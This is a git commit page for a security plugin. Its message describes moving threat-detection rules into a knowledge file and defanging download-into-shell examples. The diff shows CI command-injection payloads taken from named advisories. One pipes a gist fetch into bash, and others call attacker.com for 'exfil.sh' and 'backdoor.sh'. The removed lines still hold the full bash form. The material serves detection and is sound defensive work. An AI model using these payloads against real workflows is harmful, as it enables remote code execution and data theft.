refactor(agents): skill-scanner detection rules move to knowledge
The seven-category signal lists in agents/skill-scanner-agent.md move to knowledge/skill-threat-patterns.md § Detection Rules. The agent keeps its procedure, severity table, verdict logic and output format, plus a pointer, and now says to report an unreadable knowledge file instead of scanning from memory (a remembered subset reports clean for rules it never applied). Chose the existing file over a new one because every command that invokes the agent (scan, audit, clean, plugin-audit) already passes <plugin-root>/knowledge/skill-threat-patterns.md explicitly; a new file would have needed four command edits to reach the agent at all. Why (v8.1.0 AV surface): a clean SKILL.md was quarantined as Trojan:Script/Wacatac.H!ml; a quarantine on agents/*.md breaks the installed plugin, not just a clone. Move measured lossless: the only line-level differences are the two intended rewrites and headings. Also in this commit, rewritten as descriptions or with a <shell> placeholder for the interpreter (no technique removed): - posture-assessor-agent: hook-coverage item and override phrases - deep-scan-synthesizer-agent: example decoded message - commands/red-team.md: scenario table cell - knowledge/*.md: 15 runnable download-into-shell one-liners, the "Decodes to" line first; fenced examples keep their exact shape with <shell>, prose and tables become sentences. Probe (e): 8 -> 3 (the three left are hook-script lines behind the path guard). knowledge: 17 -> 2 (attack-scenarios.json, the red-team simulator's input; left on purpose). claude plugin validate . passes; agent frontmatter untouched, all six agents parse. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
parent
e6a7aec971
commit
965b1d9bca
8 changed files with 231 additions and 208 deletions
|
|
@ -129,9 +129,9 @@ avoid over-confident mitigation guidance for Forgejo).
|
|||
- **Quote-break + curl** (ultralytics GHSA-7x29-qqmq-v6qc):
|
||||
`Hacked";{curl,-sSfL,gist...}${IFS}|${IFS}bash`
|
||||
- **Discussion title `$()` substitution** (gluestack CVE-2025-53104):
|
||||
`$(curl -sSfL attacker.com/exfil.sh | bash)`
|
||||
`$(curl -sSfL attacker.com/exfil.sh | <shell>)`
|
||||
- **`workflow_dispatch` shell-break** (Emissary CVE-2026-35580):
|
||||
`1.0.0"; curl attacker.com/backdoor.sh | bash; echo "`
|
||||
`1.0.0"; curl attacker.com/backdoor.sh | <shell>; echo "`
|
||||
|
||||
Single-quote shell escaping provides ZERO protection — template
|
||||
substitution happens BEFORE shell parsing (Ken Muse, Appsmith CVE).
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue